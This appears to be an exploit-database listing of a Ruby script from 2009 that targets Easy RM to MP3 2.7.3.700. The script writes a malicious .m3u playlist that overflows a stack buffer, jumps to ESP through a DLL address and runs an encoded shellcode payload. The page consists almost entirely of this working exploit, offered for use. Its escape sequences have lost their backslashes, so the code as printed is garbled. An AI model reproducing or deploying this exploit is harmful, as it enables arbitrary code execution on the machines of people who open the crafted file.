Exploit Easy RM to MP3 2.7.3.700

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Exploit Easy RM to MP3 2.7.3.700 - Ruby
# Published : 2009-12-24
# Author : John Babio
# Previous Title : Serenity Audio Player Playlist (.m3u) BOF
# Next Title : CastRipper (.M3U) Stack BOF WinXP SP2

#!/usr/bin/ruby

breakit = "x41" * 26109
jump = "x3axf2xaax01"
padit = "x90" * 25

#01AAF23A   FFE4 JMP ESP
#MSRMCcodec02.dll

finishhim =
"xddxc5xd9x74x24xf4x58xbfx27x98xb6xfcx31xc9" +
"xb1x32x31x78x17x83xe8xfcx03x5fx8bx54x09x63" +
"x43x11xf2x9bx94x42x7ax7exa5x50x18x0bx94x64" +
"x6ax59x15x0ex3ex49xaex62x97x7ex07xc8xc1xb1" +
"x98xfcxcdx1dx5ax9exb1x5fx8fx40x8bx90xc2x81" +
"xccxccx2dxd3x85x9bx9cxc4xa2xd9x1cxe4x64x56" +
"x1cx9ex01xa8xe9x14x0bxf8x42x22x43xe0xe9x6c" +
"x74x11x3dx6fx48x58x4ax44x3ax5bx9ax94xc3x6a" +
"xe2x7bxfax43xefx82x3ax63x10xf1x30x90xadx02" +
"x83xebx69x86x16x4bxf9x30xf3x6ax2exa6x70x60" +
"x9bxacxdfx64x1ax60x54x90x97x87xbbx11xe3xa3" +
"x1fx7axb7xcax06x26x16xf2x59x8exc7x56x11x3c" +
"x13xe0x78x2axe2x60x07x13xe4x7ax08x33x8dx4b" +
"x83xdcxcax53x46x99x2bxa5x5bx37xbbx1cx0ex7a" +
"xa1x9exe4xb8xdcx1cx0dx40x1bx3cx64x45x67xfa" +
"x94x37xf8x6fx9bxe4xf9xa5xf8x6bx6ax25xff"

evil = breakit + jump + padit + finishhim
file=open("metalcore.m3u","w")
file.write(evil)
file.close()